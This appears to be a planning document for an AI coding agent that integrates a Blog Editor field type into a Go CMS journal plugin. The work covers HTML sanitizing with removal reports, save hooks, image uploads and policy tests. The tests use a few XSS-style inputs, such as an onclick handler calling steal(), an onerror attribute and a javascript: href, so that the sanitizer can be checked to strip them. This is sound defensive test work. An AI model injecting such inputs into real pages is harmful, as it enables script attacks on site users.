- `(*journal.Plugin).FormFieldTypes()` in the new `field_types.go`; `postsAdminController.FormAfterCreate`, `postsAdminController.FormAfterUpdate`, unexported `writeContentHTMLTranslations`.
|
||||
- Lang keys `golem15.journal::lang.editor.content_invalid`, `golem15.journal::lang.editor.image_invalid`, `golem15.journal::lang.editor.upload_failed`, and the plural notices `golem15.journal::lang.editor.removed_elements`, `removed_attributes`, `removed_comments` and the plain `markup_changed` (en and pl).
|
||||
- Field type aliases `blogeditor`, `mlblogeditor`; fields.yaml keys `htmlColumn`, `uploadFolder`.
|
||||
- Smoke test `TestBlogEditorTracerSmoke`, `TestBlogEditorUploadSmoke`; moved tests in `classes/media_store_test.go`; `TestEditorOutputPassesPolicy` and `TestSanitizeHTMLReport` in `classes/editor_policy_test.go`.
|
||||
- Updated Postgres tests (compiled by vet, run on a Docker host): `TestPostsFormCompiles`, `TestPostsAdminCreateSmoke`, `TestPostsAdminResaveKeepsHTML`, `TestPostsAdminSaveSanitizesHTML`, `TestCategoriesAdminContent`.
|
||||
- Decision note amendment in `.planning/notes/journal-html-sanitizing-bluemonday.md` (summercms.go, docs commit).
|
||||
|
||||
<objective>
|
||||
Wire the Blog Editor into Journal: field types, strip-and-report Decode, Load, post and category fields, admin save hooks, the policy extension for the editor's own output and editor uploads (D-02 to D-10, D-14, D-18, D-19).
|
||||
|
||||
Purpose: Journal post and category content are edited with the Blog Editor; an admin save keeps imported HTML intact when nothing is unsafe, strips what is and tells the admin what it removed.
|
||||
Output: classes/blog_editor.go, SanitizeHTMLReport and the policy extension in classes/format_html.go, classes/media_store.go, field_types.go, hook changes (posts and categories), fields.yaml switches, lang keys, the policy cross-check test, updated Docker tests, smoke tests, README, decision note amendment.
|
||||
</objective>
|
||||
|
||||
<execution_context>
|
||||
@~/.claude/msd-core/workflows/execute-plan.md
|
||||
@~/.claude/msd-core/templates/summary.md
|
||||
</execution_context>
|
||||
|
||||
<context>
|
||||
@.planning/phases/16.2-plugin-provided-field-types-and-the-blog-editor-formwidget/16.2-CONTEXT.md
|
||||
@.planning/phases/16.2-plugin-provided-field-types-and-the-blog-editor-formwidget/16.2-RESEARCH.md
|
||||
@.planning/phases/16.2-plugin-provided-field-types-and-the-blog-editor-formwidget/16.2-01-SUMMARY.md
|
||||
@.planning/phases/16.2-plugin-provided-field-types-and-the-blog-editor-formwidget/16.2-02-SUMMARY.md
|
||||
@.planning/todos/pending/journal-imported-html-admin-resave.md
|
||||
@.planning/todos/pending/cabana-richeditor-field-type.md
|
||||
|
||||
Repository: `../sm-journal-plugin` (branch main), building against the `../summercms.go` working tree through its go.mod `replace` and `go.work` (so plan 01's API is available without a tag). Commits: no co-author tags, stage by explicit path. The identifier list in 16.2-01-SUMMARY applies if Task 1 of plan 01 renamed anything (read it first). The pre-phase sm-journal-plugin head is c60abc6 (16.1 shipped a3551f2, 0d00ec8, 5f47083 and c60abc6 after this phase was first planned); acceptance checks below diff against it. The decision note lives in this repository (summercms.go `.planning/notes/`) and is committed there as a separate docs commit.
|
||||
|
||||
No Docker here: the root package (TestMain starts Postgres) and `./models` cannot run. Smoke tests live in `./controllers` and `./classes`; the root-package Postgres tests are updated for correctness (go vet compiles them) and run on a Docker host (plan 05 gate, plan 06).
|
||||
|
||||
<interfaces>
|
||||
From plan 01 (pact and cabana, see 16.2-01-SUMMARY for the final names):
|
||||
|
||||
```go
|
||||
type FormFieldType struct { Name, Element string; Translatable bool; Scripts, Styles, Options []string
|
||||
CheckOptions func(map[string]any) error; Decode func(context.Context, FormFieldValue) (FormFieldDecoded, error)
|
||||
Load func(context.Context, FormFieldValue) (any, error)
|
||||
ListValue func(any) string; Upload func(context.Context, FormFieldUpload) (FormFieldUploadResult, error) }
|
||||
type FormFieldDecoded struct { Value any; Notices []FormFieldNotice }
|
||||
type FormFieldNotice struct { Message string; Params map[string]string; Count int } // cabana localizes; Count > 0 = plural
|
||||
type FormFieldValue struct { DB *gorm.DB; Record any; Field string; Options map[string]any; Locale string
|
||||
Default bool; Value any; Translated func(attribute string) (string, bool, error) }
|
||||
type FormFieldUpload struct { DB *gorm.DB; Record any; Field string; Options map[string]any; Filename string; Body io.Reader }
|
||||
type FormFieldError struct{ Messages []string }
|
||||
// cabana
|
||||
type FieldWrite struct { Locale string; Default bool; Value any }
|
||||
func FieldWritesFromContext(ctx context.Context) (map[string][]FieldWrite, bool)
|
||||
func WithFieldWrites(ctx context.Context, writes map[string][]FieldWrite) context.Context
|
||||
func CompileFormWithTypes(pluginID string, ctl pact.AdminController, fsys fs.FS, types []pact.FormFieldType) (*cabana.FormSchema, error)
|
||||
func TxFromContext(ctx context.Context) (*gorm.DB, bool)
|
||||
type TranslationWriter interface { /* DefaultLocale, EnabledLocales, WriteTranslated(ctx, tx, model, field, locale, value), TranslatedExact */ }
|
||||
```
|
||||
|
||||
Journal code to change (read before editing):
|
||||
- `controllers/posts.go` `preparePostWrite` (204-221) runs `classes.FormatHTML(post.Content)` and sets `post.ContentHTML`: this is the admin-path goldmark call to replace.
|
||||
- `controllers/categories.go` `prepareCategoryWrite` (65-82): blank to NULL plus the CheckHTML 422. The 422 is retired in Task 2 (D-19 amended); blank to NULL stays.
|
||||
- `journal_api_categories_test.go` `TestCategoriesAdminContent` (138): subtests "unsafe create refused" and "unsafe update refused" with `assertContentRefused`; they become strip assertions in Task 2.
|
||||
- `posts_admin_smoke_test.go` `TestPostsAdminSaveSanitizesHTML` (159): asserts content stored as submitted and content_html sanitized; under D-02 both columns hold the sanitized HTML (Task 1).
|
||||
- `controllers/api/media.go` `UploadMedia` (22-91): auth, folder check, extension allowlist, 10240 KiB cap, `mediaObjectPath`, `uniqueMediaKey`, bucket write, 201 `{data:{url,path}}`.
|
||||
- `models/post.go`: `Content string`, `ContentHTML string`, `Translatable()` includes content and content_html. `models/category.go`: `Content *string`, not translatable.
|
||||
- `classes/format_html.go`: `newHTMLPolicy` (UGC plus footer, class, microdata, four styles, footnote roles, dir, two chat data attributes), `FormatHTML(src string) (string, error)` (goldmark then SanitizeHTML), `SanitizeHTML(doc string) string`, `FormatTranslation(attrs map[string]any) error`, `CheckHTML(doc string) error` (error when the policy would change doc), unexported `sanitizeHTML` (returns doc unchanged when `sameTokens` holds), `sameTokens`, `htmlTokens`, `rawAttrNames` (duplicate attributes count as a change).
|
||||
- `classes/format_html_test.go` `unsafePayloads` (the 35 stored-XSS payloads), `classes/check_html_test.go`, `classes/format_translation_test.go`: existing tests that must keep passing.
|
||||
- `routes.go`: the public routes (no category write).
|
||||
</interfaces>
|
||||
</context>
|
||||
|
||||
<tasks>
|
||||
|
||||
<task type="tracer">
|
||||
<name>Task 1: Tracer: post content on mlblogeditor end to end (types on the plugin, fields.yaml, strip-and-report Decode, Load with D-07, both columns written by the hooks)</name>
|
||||
<reversibility rating="costly">D-02 and D-11: every post saved from the admin becomes HTML content (moving back needs an HTML-to-markdown migration), and the aliases blogeditor and mlblogeditor end up in fields.yaml files that a rename must edit.</reversibility>
|
||||
<precondition>16.2-01-SUMMARY.md and 16.2-02-SUMMARY.md exist; `go -C ../sm-journal-plugin build ./...` succeeds against the current ../summercms.go working tree and ../sm-journal-plugin/assets/dist/blogeditor.js exists.</precondition>
|
||||
<files>../sm-journal-plugin/classes/format_html.go, ../sm-journal-plugin/classes/blog_editor.go, ../sm-journal-plugin/field_types.go, ../sm-journal-plugin/controllers/posts.go, ../sm-journal-plugin/controllers/posts_editor_smoke_test.go, ../sm-journal-plugin/models/post/fields.yaml, ../sm-journal-plugin/lang/en/lang.yaml, ../sm-journal-plugin/lang/pl/lang.yaml, ../sm-journal-plugin/posts_admin_smoke_test.go</files>
|
||||
<read_first>.planning/phases/16.2-plugin-provided-field-types-and-the-blog-editor-formwidget/16.2-01-SUMMARY.md (final identifiers), ../summercms.go/modules/pact/capabilities.go (FormFieldType and friends), ../summercms.go/modules/cabana/tx_context.go (FieldWritesFromContext, WithFieldWrites, TxFromContext), ../summercms.go/modules/cabana/field_ml.go (TranslationWriter), ../summercms.go/docs/backend/field-types.md, ../sm-journal-plugin/classes/format_html.go (sanitizeHTML, sameTokens, htmlTokens, rawAttrNames), ../sm-journal-plugin/classes/format_html_test.go (unsafePayloads), ../sm-journal-plugin/controllers/posts.go, ../sm-journal-plugin/controllers/admin_registry.go, ../sm-journal-plugin/admin.go, ../sm-journal-plugin/plugin.go, ../sm-journal-plugin/models/post.go, ../sm-journal-plugin/models/post/fields.yaml, ../sm-journal-plugin/lang/en/lang.yaml, ../sm-journal-plugin/posts_admin_smoke_test.go (TestPostsAdminCreateSmoke, TestPostsAdminResaveKeepsHTML, TestPostsAdminSaveSanitizesHTML), ../summercms.go/modules/phrasebook/backend/lang/pl/lang.yaml (lines 40-44: plural map format), ../summercms.go/modules/cabana/locale_order_test.go (recording TranslationWriter style), ../summercms.go/modules/bouncer/context.go (WithUser)</read_first>
|
||||
<action>Make one post-content save path work end to end on the new types (per D-02, D-03, D-04, D-07, D-08, D-10, D-14).
|
||||
|
||||
Removal report (D-10 amended), in classes/format_html.go: add HTMLRemovals and SanitizeHTMLReport(doc) as described in the assumptions (in-order start-tag alignment; elements, attributes via rawAttrNames so a repeated name counts, comments, Other; at most 10 distinct names per list with exact counts; Empty() is false exactly when the returned string differs from doc). SanitizeHTML returns SanitizeHTMLReport's string, so both share one implementation; FormatHTML, FormatTranslation and CheckHTML keep their behaviour and tests.
|
||||
|
||||
classes/blog_editor.go: const BlogEditorElement = "golem15-journal-blogeditor"; BlogEditorTypes(app func() *backpack.App) returns two pact.FormFieldType values: blogeditor (Translatable false, Options ["uploadFolder"]) and mlblogeditor (Translatable true, Options ["htmlColumn", "uploadFolder"]), both with Element BlogEditorElement, Scripts ["assets/dist/blogeditor.js"], Styles ["assets/dist/blogeditor.css"], CheckOptions checkBlogOptions (htmlColumn must be an identifier; uploadFolder as in the assumptions), Decode decodeBlogHTML, Load loadBlogHTML, ListValue blogListValue (Upload is added in Task 2). decodeBlogHTML (D-10 amended, D-04): nil decodes to ""; any other non-string value is a FormFieldError with "golem15.journal::lang.editor.content_invalid"; a string goes through SanitizeHTMLReport and the result is pact.FormFieldDecoded{Value: the sanitized string, Notices: removalNotices(report)}, so a value the policy keeps whole is returned byte for byte with no notice. removalNotices emits, in this order and only when non-zero: golem15.journal::lang.editor.removed_elements (Count ElementCount, Params names = the element names joined with ", ", plus "…" when more than 10 were cut), removed_attributes (the same for attributes), removed_comments (Count Comments), markup_changed (Other, no count). Decode never refuses because of markup. LooksLikeHTML(s) reports whether the first non-whitespace character is '<' (assumption A1). loadBlogHTML (D-07): Value as string (string, *string, nil become the text, nil and a nil pointer become ""); if LooksLikeHTML or the htmlColumn option is unset, serve the text; otherwise read in.Translated(htmlColumn) and serve it when found and non-empty, else serve FormatHTML(text) (on error the text). blogListValue strips tags, collapses whitespace, truncates to 120 runes plus an ellipsis.
|
||||
|
||||
field_types.go (root package): (p *Plugin) FormFieldTypes() []pact.FormFieldType returns classes.BlogEditorTypes with a lazy accessor of p.app, plus the compile-time assertion that *Plugin implements pact.HasFormFieldTypes.
|
||||
|
||||
models/post/fields.yaml: content becomes type mlblogeditor with htmlColumn: content_html and uploadFolder: posts (D-08); excerpt and every other field unchanged.
|
||||
|
||||
controllers/posts.go (D-02, D-03, D-10): preparePostWrite stops calling FormatHTML; it keeps refuseUnpublishedWrite and the published_at check, then sets post.ContentHTML to the Default write of "content" from cabana.FieldWritesFromContext when there is one and leaves ContentHTML untouched otherwise. New FormAfterCreate and FormAfterUpdate on postsAdminController call writeContentHTMLTranslations, which for every non-default write of "content" calls the app's cabana.TranslationWriter WriteTranslated(ctx, tx, post, "content_html", locale, value), with tx from cabana.TxFromContext (falling back to c.db(ctx)); no writer means nothing to write. Add the pact.FormAfterCreate and pact.FormAfterUpdate compile-time assertions. The public API helpers (controllers/api/posts_helpers.go) are not touched (D-09).
|
||||
|
||||
Lang: add editor.content_invalid ("The content must be HTML text." / "Treść musi być tekstem HTML."), editor.image_invalid and editor.upload_failed to lang/en and lang/pl, and the notices in the phrasebook plural map format: en removed_elements one ":count element was removed: :names", other ":count elements were removed: :names"; removed_attributes one ":count attribute was removed: :names", other ":count attributes were removed: :names"; removed_comments one ":count HTML comment was removed", other ":count HTML comments were removed"; markup_changed "The HTML filter changed some markup."; pl with one, few, many and other ("Usunięto :count element: :names" / "Usunięto :count elementy: :names" / "Usunięto :count elementów: :names" / "Usunięto :count elementu: :names", likewise atrybut/atrybuty/atrybutów/atrybutu and komentarz HTML/komentarze HTML/komentarzy HTML/komentarza HTML; markup_changed "Filtr HTML zmienił część znaczników.").
|
||||
|
||||
Docker tests (correctness, compiled by vet, run on a Docker host): in posts_admin_smoke_test.go TestPostsFormCompiles expects "mlblogeditor" instead of "mlmarkdown" for content (keep the mltext, mltextarea and preset checks); TestPostsAdminCreateSmoke posts HTML content ("<p>Hello <strong>world</strong></p>" and the pl equivalent) and asserts stored.ContentHTML equals stored.Content exactly and that the create response has no meta.notices key; TestPostsAdminResaveKeepsHTML compares content_html with the exact content bytes (no TrimSpace); TestPostsAdminSaveSanitizesHTML (D-02, D-10 amended) keeps its unsafe input but now asserts that the save succeeds, that content and content_html are both the sanitized HTML and equal to each other for pl (host) and en (translation), that the "Data:" text is kept, and that the response's meta.notices names content for pl and en (removed elements a and base, removed attribute onerror).
|
||||
|
||||
Smoke: controllers/posts_editor_smoke_test.go TestBlogEditorTracerSmoke (package controllers, no database): CompileFormWithTypes("golem15.journal", postsAdminController{}, os.DirFS(".."), classes.BlogEditorTypes(nil)) gives content type mlblogeditor, element golem15-journal-blogeditor, translatable, typeOptions htmlColumn content_html; Decode returns a clean HTML string byte for byte with no notice, strips a script element and an onerror attribute and returns two notices (removed_elements Count 1 names "script", removed_attributes Count 1 names "onerror"), decodes nil to "" and refuses a number with a FormFieldError; Load serves content for an HTML value, content_html (via a stub Translated) for a markdown value, FormatHTML output when content_html is empty; with WithFieldWrites({content: [pl default "<p>A</p>", en "<p>B</p>"]}) and a backend principal, FormBeforeUpdate sets ContentHTML "<p>A</p>" and FormAfterUpdate writes content_html for en through a recording TranslationWriter published on a backpack app; without writes FormBeforeUpdate leaves ContentHTML unchanged (no goldmark).
|
||||
|
||||
Commit as "feat(classes): report what the HTML policy removes" (format_html.go only) and "feat(admin): post content on the Blog Editor field type" (blog_editor.go, field_types.go, posts.go, fields.yaml, lang, tests), staged by explicit path.</action>
|
||||
<verify>
|
||||
<automated>go -C ../sm-journal-plugin vet ./... && go -C ../sm-journal-plugin test -count=1 -run '^TestBlogEditorTracerSmoke$' -v ./controllers/ 2>&1 | grep -- '^--- PASS: TestBlogEditorTracerSmoke'</automated>
|
||||
<fails_when>Non-zero exit: go vet fails (including the updated Docker tests), or no "--- PASS: TestBlogEditorTracerSmoke" line (fields.yaml does not compile with the types, Decode stores unsafe HTML or refuses instead of stripping, a clean value changes or gets a notice, Load ignores D-07, or the hooks do not write content_html).</fails_when>
|
||||
<automated>go -C ../sm-journal-plugin test -count=1 ./classes/ ./controllers/... && go -C ../sm-journal-plugin test -count=1 -run '^(TestFormatHTMLKeepsRawHTML|TestFormatHTMLSanitizesUnsafeHTML|TestFormatHTMLDuplicateAttributes|TestSanitizeHTML|TestCheckHTML)$' -v ./classes/ 2>&1 | grep -c '^--- PASS: Test' | grep -qx 5</automated>
|
||||
<fails_when>Non-zero exit: a classes or controllers test fails, or fewer than five "--- PASS: Test" lines for the FormatHTML, SanitizeHTML and CheckHTML tests (the API-path renderer, the byte-stability rule, the duplicate-attribute rule or the predicate regressed when SanitizeHTML moved onto SanitizeHTMLReport).</fails_when>
|
||||
</verify>
|
||||
<acceptance_criteria>
|
||||
- `grep -n "type: mlblogeditor" ../sm-journal-plugin/models/post/fields.yaml` prints one line and `grep -n "htmlColumn: content_html" ../sm-journal-plugin/models/post/fields.yaml` prints one line.
|
||||
- `grep -n "FieldWritesFromContext" ../sm-journal-plugin/controllers/posts.go` prints at least one line, and `grep -n "func (c postsAdminController) FormAfterUpdate" ../sm-journal-plugin/controllers/posts.go` prints one line.
|
||||
- `git -C ../sm-journal-plugin diff --quiet c60abc6 -- controllers/api/posts_helpers.go controllers/api/posts.go routes.go` exits 0 (D-09: the public posts API code and the route table are unchanged since the pre-phase head).
|
||||
- `grep -n "func SanitizeHTMLReport" ../sm-journal-plugin/classes/format_html.go` prints one line, and `grep -n "SanitizeHTMLReport" ../sm-journal-plugin/classes/blog_editor.go` prints at least one line.
|
||||
- `grep -n "CheckHTML(" ../sm-journal-plugin/classes/blog_editor.go ../sm-journal-plugin/controllers/posts.go` prints nothing (no call: the admin post path never refuses on markup).
|
||||
- TestBlogEditorTracerSmoke passes with its compile, Decode (clean unchanged, strip with notices, nil, non-string), Load (HTML, markdown, empty content_html) and hook subtests.
|
||||
- TestPostsFormCompiles in posts_admin_smoke_test.go looks for "mlblogeditor".
|
||||
</acceptance_criteria>
|
||||
<done>Post content compiles as mlblogeditor, unsafe HTML is stripped per locale with notices naming what was removed (clean HTML is stored byte for byte), markdown posts are served as their content_html, and a written content value lands in content_html for its locale without goldmark.</done>
|
||||
</task>
|
||||
|
||||
<task type="auto" tdd="true">
|
||||
<name>Task 2: Expansion: category content on blogeditor (stripped like posts, the 422 gate retired), editor uploads through the extracted media storage, README</name>
|
||||
<files>../sm-journal-plugin/classes/blog_editor.go, ../sm-journal-plugin/classes/media_store.go, ../sm-journal-plugin/classes/media_store_test.go, ../sm-journal-plugin/controllers/api/media.go, ../sm-journal-plugin/controllers/api/media_test.go, ../sm-journal-plugin/controllers/categories.go, ../sm-journal-plugin/controllers/posts_editor_smoke_test.go, ../sm-journal-plugin/models/category/fields.yaml, ../sm-journal-plugin/journal_api_categories_test.go, ../sm-journal-plugin/README.md</files>
|
||||
<read_first>../sm-journal-plugin/classes/blog_editor.go (Task 1 state), ../sm-journal-plugin/controllers/api/media.go, ../sm-journal-plugin/controllers/api/media_test.go, ../sm-journal-plugin/controllers/categories.go (prepareCategoryWrite 65-82), ../sm-journal-plugin/journal_api_categories_test.go (TestCategoriesAdminContent 138: assertContentRefused, the two unsafe subtests, blank update stores null), ../sm-journal-plugin/routes.go (public routes: GET categories only), ../sm-journal-plugin/models/category.go, ../sm-journal-plugin/models/category/fields.yaml, ../sm-journal-plugin/controllers/posts_editor_smoke_test.go, ../sm-journal-plugin/README.md, ../summercms.go/modules/lagoon/attach (PublicURL), /media/nvme/dev/golem15/fonoteka/plugins/golem15/journal/models/Category.php (translatable list, lines 36-40)</read_first>
|
||||
<behavior>
|
||||
- StoreMedia keeps the public route's rules: extensions jpg, jpeg, png, gif, webp only; more than 10240 KiB is a MediaError on file with "The file may not be greater than 10240 kilobytes."; keys /journal/<folder>/<name> with the existing unique suffix; returns the attach.PublicURL of the key and the path.
|
||||
- UploadMedia answers exactly as before (201 {data:{url, path}}, the same 422 messages) using StoreMedia.
|
||||
- Editor Upload: a png named "Zdjęcie 1.PNG" with png bytes is stored under /journal/posts/ with a safe name and returns its URL; a .png whose bytes sniff as text/html is a FormFieldError; an svg is a FormFieldError; a missing bucket is an opaque error.
|
||||
- Category content (D-19 amended): models/category/fields.yaml content is type blogeditor with uploadFolder categories; CompileFormWithTypes accepts it; Load serves the stored HTML for a *string (nil gives ""); Decode strips `<p onclick="steal()">x</p>` to `<p>x</p>` with a removed_attributes notice; prepareCategoryWrite maps blank (including whitespace only) to NULL and accepts every other value it receives, returning no error for markup.
|
||||
</behavior>
|
||||
<action>Finish the Journal half (per D-18, D-19, D-09).
|
||||
|
||||
Media storage (D-18, D-09): new classes/media_store.go with MediaMaxBytes (10240 shifted left by 10), MediaFolderPattern (moved), MediaError{Field, Message} (Error returns Message), StoredMedia{URL, Path}, and StoreMedia(ctx, bucket, folder, filename, body) holding the part of UploadMedia after authentication: base name via path.Base on the slash-normalised filename, extension allowlist, reading at most MediaMaxBytes+1 bytes, the size message, mediaObjectPath, uniqueMediaKey (both moved here from controllers/api/media.go and taking a context instead of the request), the bucket writer and attach.PublicURL. UploadMedia keeps authentication, permissions, the folder validation and the form parsing, calls StoreMedia, maps a MediaError to writeValidation with the same field and message, any other error to the same 500 body, and writes the same 201 body. Move TestMediaObjectPath and TestMediaFolderPatternRejectsDotDot to classes/media_store_test.go unchanged in substance.
|
||||
|
||||
Editor Upload (D-18): uploadBlogImage, set as Upload on both types: looks up *blob.Bucket from the app accessor (missing is an opaque error), reads the first 512 bytes and requires http.DetectContentType to report image/jpeg, image/png, image/gif or image/webp (else FormFieldError "golem15.journal::lang.editor.image_invalid"), builds the name with safeUploadName (assumption: lowercase, characters outside a-z, 0-9, dot, underscore and hyphen become hyphens, runs collapsed, extension kept, empty becomes image), calls StoreMedia with the field's uploadFolder (default "editor") and the sniffed head re-joined to the rest of the body, maps a MediaError to a FormFieldError with its message and returns FormFieldUploadResult{URL}.
|
||||
|
||||
Category (D-19 amended, D-10): models/category/fields.yaml content becomes type blogeditor with uploadFolder: categories (keep label, comment, size and span), so category content goes through the same strip-and-report Decode as posts. In controllers/categories.go, prepareCategoryWrite keeps the blank-to-NULL rule and drops the HTML gate and its 422; its doc comment says category content arrives already sanitized by the blogeditor Decode (D-10 amended, decision note), and that rows written by SQL or import commands are not sanitized here. Remove the classes import if nothing else in the file uses it. API parity: there is no public category write route (routes.go), so no public contract changes; if the executor finds one, it stops and reports instead of changing it.
|
||||
|
||||
Postgres test (correctness, compiled by vet, run on a Docker host): in journal_api_categories_test.go TestCategoriesAdminContent, replace the 422 refusal helper with an assertContentStripped helper. "unsafe create refused" becomes "unsafe create stripped": the POST answers 201, the row exists with content `<p>x</p>`, and the response's meta.notices has one entry for field content naming onclick. "unsafe update refused" becomes "unsafe update stripped": the PUT answers 200, the stored content is "x" (bluemonday drops the javascript: href and the bare a element), and meta.notices names the removed a element. The safe create keeps its byte-identical assertion and gains "no notices key in meta"; "blank update stores null" and "posts-only token forbidden" stay as they are.
|
||||
|
||||
Smoke: add TestBlogEditorUploadSmoke to controllers/posts_editor_smoke_test.go (gocloud.dev/blob/memblob bucket published on a backpack app) covering the behavior bullets for StoreMedia, the editor Upload and the category compile and Load.
|
||||
|
||||
README.md (plugin README, may name the plugin): an Admin section update describing the Blog Editor field types blogeditor and mlblogeditor and their options; what an admin save stores (the sanitized HTML in content and content_html per locale; a value the policy keeps whole is stored byte for byte; anything the policy does not allow is removed and the save names what was removed; untouched content is not rewritten; markdown posts open with their rendered HTML and become HTML on the first edit); that category content follows the same rule and is no longer refused with a 422 (replace the "refuses content that fails classes.CheckHTML" sentence in the categories section); that the public API stays markdown-in (D-09); and editor uploads. Commit as "feat(admin): category content on the Blog Editor and editor image uploads" (category fields.yaml, categories.go, Upload, tests, README) and "refactor(api): share media storage with the editor upload" as two commits, staged by explicit path.</action>
|
||||
<verify>
|
||||
<automated>go -C ../sm-journal-plugin vet ./... && go -C ../sm-journal-plugin test -count=1 -run '^(TestBlogEditorTracerSmoke|TestBlogEditorUploadSmoke)$' -v ./controllers/ 2>&1 | grep -c '^--- PASS: TestBlogEditor' | grep -qx 2</automated>
|
||||
<fails_when>Non-zero exit: vet fails, or fewer than two "--- PASS: TestBlogEditor" lines (upload storage, sniffing, safe names, category compile or Load broken, or the Task 1 smoke regressed).</fails_when>
|
||||
<automated>go -C ../sm-journal-plugin test -count=1 ./classes/ ./controllers/...</automated>
|
||||
<fails_when>Non-zero exit: a classes test (including the moved media path tests) or a controllers/api test fails.</fails_when>
|
||||
</verify>
|
||||
<acceptance_criteria>
|
||||
- `grep -n "type: blogeditor" ../sm-journal-plugin/models/category/fields.yaml` prints one line.
|
||||
- `grep -n "CheckHTML(" ../sm-journal-plugin/controllers/categories.go` prints nothing and `grep -n "ValidationError" ../sm-journal-plugin/controllers/categories.go` prints nothing (the 422 gate is retired).
|
||||
- `grep -n "assertContentRefused" ../sm-journal-plugin/journal_api_categories_test.go` prints nothing and `grep -n "unsafe create stripped" ../sm-journal-plugin/journal_api_categories_test.go` prints one line; `go -C ../sm-journal-plugin vet ./...` compiles the updated test.
|
||||
- `grep -n "categories" ../sm-journal-plugin/routes.go` prints only GET lines (no public category write path).
|
||||
- `grep -n "StoreMedia" ../sm-journal-plugin/controllers/api/media.go` prints at least one line, and `grep -n '"path":' ../sm-journal-plugin/controllers/api/media.go` still prints one line (response shape kept).
|
||||
- `grep -n "func StoreMedia" ../sm-journal-plugin/classes/media_store.go` prints one line, and classes/media_store_test.go holds TestMediaObjectPath and TestMediaFolderPatternRejectsDotDot.
|
||||
- TestBlogEditorUploadSmoke passes its sniff, svg, safe-name, size and category (compile, Load, strip with notice, blank to NULL) subtests.
|
||||
- README.md mentions blogeditor and mlblogeditor, and its categories section no longer says the form refuses content with a 422.
|
||||
</acceptance_criteria>
|
||||
<done>Category content uses the Blog Editor and is stripped and reported like posts (no 422), editor images upload into the same media storage and URLs as the public route, and the public route's contract is unchanged.</done>
|
||||
</task>
|
||||
|
||||
<task type="auto" tdd="true">
|
||||
<name>Task 3: Expansion: the HTML policy admits exactly the Blog Editor's own output, pinned by plan 02's corpus; CheckHTML and README documentation; decision note</name>
|
||||
<reversibility rating="costly">D-05: the embed placeholder and the editor's alt and start attributes become stored content that the policy must keep accepting; narrowing the policy later would strip them from live posts on their next edited save.</reversibility>
|
||||
<precondition>../sm-journal-plugin/tests/blogeditor/fixtures/editor-corpus.json exists (plan 02 Task 3) and parses as JSON.</precondition>
|
||||
<files>../sm-journal-plugin/classes/format_html.go, ../sm-journal-plugin/classes/editor_policy_test.go, ../sm-journal-plugin/controllers/posts_editor_smoke_test.go, ../sm-journal-plugin/README.md, .planning/notes/journal-html-sanitizing-bluemonday.md</files>
|
||||
<read_first>../sm-journal-plugin/classes/format_html.go (newHTMLPolicy, SanitizeHTMLReport from Task 1), ../sm-journal-plugin/classes/format_html_test.go (unsafePayloads, TestFormatHTMLSanitizesUnsafeHTML), ../sm-journal-plugin/classes/check_html_test.go, ../sm-journal-plugin/tests/blogeditor/fixtures/editor-corpus.json (plan 02), ../sm-journal-plugin/tests/blogeditor/fixtures/imported-post.html (plan 02), ~/go/pkg/mod/github.com/microcosm-cc/bluemonday@v1.0.27/policies.go (UGCPolicy) and helpers.go (AllowImages, AllowLists, AllowTables: what UGC already allows), ../sm-journal-plugin/README.md (Posts bullet, the CheckHTML row in API reference, Dependencies), .planning/notes/journal-html-sanitizing-bluemonday.md, ../vue-journal-layer/app/utils/htmlGate.ts (the mirror plan 04 extends with the same four rules)</read_first>
|
||||
<behavior>
|
||||
- Every entry of editor-corpus.json comes back from SanitizeHTML byte for byte, with an empty SanitizeHTMLReport and a nil CheckHTML.
|
||||
- The placeholder `<figure data-embed="youtube" data-id="dQw4w9WgXcQ"></figure>` is kept, both through SanitizeHTML and as raw HTML inside markdown through FormatHTML.
|
||||
- Still stripped and reported: data-embed other than youtube; data-id of 10 or 12 characters or holding a quote, space or angle bracket; data-embed or data-id on div, img or p; any other data attribute on figure; onload on the placeholder figure; an iframe next to a placeholder (the placeholder stays).
|
||||
- img alt with a colon, a question mark and double quotes is kept; an alt whose text contains a double quote followed by an event-handler-like string stays one alt attribute (no new attribute appears in the tokens).
|
||||
- ol start="3" is kept; start="x" on ol and start on ul are stripped.
|
||||
- The 35 unsafePayloads are stripped exactly as before (TestFormatHTMLSanitizesUnsafeHTML unchanged) and the existing CheckHTML table passes unchanged.
|
||||
- SanitizeHTMLReport: a style element, an onclick attribute, a comment, a repeated attribute, a style attribute that loses one property and more than ten distinct removed names each produce the documented report; for every unsafePayload, the imported-post fixture and every corpus entry, report.Empty() is true exactly when the output equals the input.
|
||||
</behavior>
|
||||
<action>Extend the shared policy for exactly the editor's own output (per D-05 amended, D-04, D-10).
|
||||
|
||||
In newHTMLPolicy add, each with a comment naming the Blog Editor output (Phase 16.2 D-05) it serves: data-embed matching ^youtube$ and data-id matching ^[A-Za-z0-9_-]{11}$ on figure only; alt with any value on img only (added next to UGC's Paragraph rule; bluemonday accepts an attribute when any of its rules matches, and escapes the value on output); start matching ^[0-9]+$ on ol only. Add nothing else: no iframe allowance, no blanket data attribute allowance, no target, rel, style property or URL scheme. These are the same four rules plan 04 mirrors in the layer. If the corpus fails on any attribute outside this set, stop and report it (plans 03 and 04 must change together) instead of widening the policy.
|
||||
|
||||
classes/editor_policy_test.go: TestEditorOutputPassesPolicy reads ../tests/blogeditor/fixtures/editor-corpus.json with os.ReadFile (a missing or empty file fails the test, never skips) and checks every entry plus the placeholder and negative cases of the behavior block; TestSanitizeHTMLReport covers the report cases and the Empty property, including the imported-post fixture.
|
||||
|
||||
Update CheckHTML's doc comment: since Phase 16.2 no admin or API write path refuses with it (admin saves strip and report, D-10 amended); it reports whether the policy would change doc, the counterpart of the layer's isSafeJournalHtml, and the policy cross-check uses it. Extend TestBlogEditorTracerSmoke with the placeholder passing Decode unchanged with no notice.
|
||||
|
||||
README.md: the API reference gains SanitizeHTMLReport and HTMLRemovals rows; the CheckHTML row says it is a predicate that no write path refuses with any more; the Posts and policy text lists the four editor-output additions and says admin saves strip and name what they removed.
|
||||
|
||||
Decision note (summercms.go): append to the 2026-10-10 amendment a short paragraph and four table rows for the editor-output additions (figure data-embed and data-id, img alt any text, ol start), naming plan 02's corpus as the test that pins them and plan 04 as the layer mirror.
|
||||
|
||||
Commit in sm-journal-plugin as "feat(classes): allow the Blog Editor's own markup in the HTML policy" (format_html.go, editor_policy_test.go, the smoke test, README), and in summercms.go, separately, as "docs(16.2): record the editor-output policy extension" (the note only), each staged by explicit path.</action>
|
||||
<verify>
|
||||
